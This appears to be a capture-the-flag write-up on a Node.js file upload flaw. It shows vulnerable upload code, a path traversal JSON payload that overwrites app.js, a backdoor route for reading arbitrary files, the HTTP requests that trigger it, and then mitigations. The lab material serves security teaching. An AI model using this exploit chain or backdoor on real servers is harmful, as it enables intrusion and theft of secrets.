Post

Node.js Arbitrary File Upload to RCE – AppSec Master Challenge Writeup

Node.js Arbitrary File Upload to RCE – AppSec Master Challenge Writeup

Node.js Arbitrary File Upload to RCE Challenge Writeup

Challenge Overview

This challenge involved exploiting a vulnerable Node.js application with an insecure file upload endpoint. The vulnerability chain allowed path traversal through file upload, leading to arbitrary file overwrite and ultimately remote code execution.

Vulnerability Analysis

1. Vulnerable File Upload Endpoint

The application had an unprotected /upload endpoint that accepted base64-encoded files:

1
2
3
4
5
6
app.post('/upload', (req, res) => {
    const { filename, data } = req.body;
    const uploadPath = __dirname + '/uploads/' + filename;
    const fileData = data.split(',')[1];
    fs.createWriteStream(uploadPath).write(Buffer.from(fileData, 'base64'));
});

Key issues:

  • No authentication check (added later in the full code)
  • No filename sanitization
  • Direct filesystem write without validation

2. Path Traversal Vulnerability

The application didn’t sanitize the filename parameter, allowing directory traversal sequences (../):

1
2
3
4
5
// Attack vector example
{
    "filename": "../../app.js",
    "data": "data:text/plain;base64,...malicious code..."
}

3. Arbitrary File Overwrite

By combining these flaws, we could overwrite critical application files like app.js itself.

Exploitation Steps

Step 1: Craft Malicious Payload

Created a modified app.js that adds a new route to read arbitrary files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.get('/readfile', (req, res) => {
    const target = req.query.path;
    if (!target || typeof target !== 'string') {
        return res.status(400).send('Missing path param');
    }
    try {
        const filePath = path.resolve('/', target);
        const data = fs.readFileSync(filePath, 'utf8');
        res.set('Content-Type', 'text/plain');
        res.send(data);
    } catch (err) {
        res.status(500).send('Failed to read file: ' + err.message);
    }
});

Step 2: Encode and Upload

Base64-encoded the malicious file and uploaded it with path traversal:

1
2
3
4
5
6
7
POST /upload HTTP/1.1
Content-Type: application/json

{
    "filename": "../../app.js",
    "data": "data:text/plain;base64,...base64 encoded malicious app.js..."
}

Step 3: Trigger the Backdoor

After successful upload, accessed the new endpoint to read sensitive files:

1
GET /readfile?path=tmp/masterkey.txt HTTP/1.1

Impact

This vulnerability chain allowed:

  1. Complete server compromise through arbitrary code execution
  2. Reading sensitive server files (passwords, configs, etc.)
  3. Potential privilege escalation
  4. Persistent backdoor installation

Mitigation Strategies

  1. Sanitize Filenames:
    1
    
    const sanitizedFilename = path.basename(filename);
    
  2. Validate Upload Path:
    1
    2
    3
    4
    5
    
    const uploadDir = path.resolve(__dirname, 'uploads');
    const uploadPath = path.join(uploadDir, filename);
    if (!uploadPath.startsWith(uploadDir)) {
     return res.status(403).send('Invalid path');
    }
    
  3. Implement Authentication:
    1
    
    app.post('/upload', requireAuth, (req, res) => { ... });
    
  4. Restrict File Types:
    1
    2
    3
    4
    
    const allowedExtensions = ['.jpg', '.png'];
    if (!allowedExtensions.includes(path.extname(filename))) {
     return res.status(400).send('Invalid file type');
    }
    
  5. Use Secure File Upload Libraries: Consider using dedicated libraries like multer with proper configuration.

Conclusion

This challenge demonstrated how seemingly minor vulnerabilities (unsanitized inputs) can lead to complete system compromise when chained together. Proper input validation and secure coding practices are essential for file upload functionality.


If you enjoyed this write-up, feel free to follow me on Twitter

This post is licensed under CC BY 4.0 by the author.